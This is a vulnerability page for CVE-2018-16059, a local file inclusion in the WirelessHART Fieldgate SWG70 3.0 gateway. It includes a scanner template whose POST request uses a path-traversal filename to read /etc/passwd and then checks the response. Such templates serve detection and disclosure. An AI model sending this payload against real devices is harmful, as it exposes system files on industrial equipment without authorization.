CVE-2018-16059: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion

2025-08-01 WirelessHART Fieldgate SWG70 PoC Public

Description

WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter.

PoC

id: CVE-2018-16059

info:
  name: WirelessHART Fieldgate SWG70 3.0 - Local File Inclusion
  author: daffainfo
  severity: medium
  description: WirelessHART Fieldgate SWG70 3.0 is vulnerable to local file inclusion via the fcgi-bin/wgsetcgi filename parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the system, potentially leading to unauthorized access or information disclosure.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to fix the LFI vulnerability in WirelessHART Fieldgate SWG70 3.0.
  reference:
    - https://www.exploit-db.com/exploits/45342
    - https://ics-cert.us-cert.gov/advisories/ICSA-19-073-03
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16059
    - https://www.exploit-db.com/exploits/45342/
    - https://cert.vde.com/en-us/advisories/vde-2019-002
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2018-16059
    cwe-id: CWE-22
    epss-score: 0.29816
    epss-percentile: 0.98106
    cpe: cpe:2.3:o:endress:wirelesshart_fieldgate_swg70_firmware:3.00.07:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: endress
    product: wirelesshart_fieldgate_swg70_firmware
  tags: cve,cve2018,iot,lfi,edb,endress,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/fcgi-bin/wgsetcgi"

    body: 'action=ajax&command=4&filename=../../../../../../../../../../etc/passwd&origin=cw.Communication.File.Read&transaction=fileCommand'

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100980ed0f85b7b6a85b171204bdb1bb5ffca273f8553a67a4f58d6af65d1c7654e02205d6882980de54eef9219a509ff1225431eebff7142db92a029cb1c38a598df8b:922c64590222798bb761d5b6d8e72950

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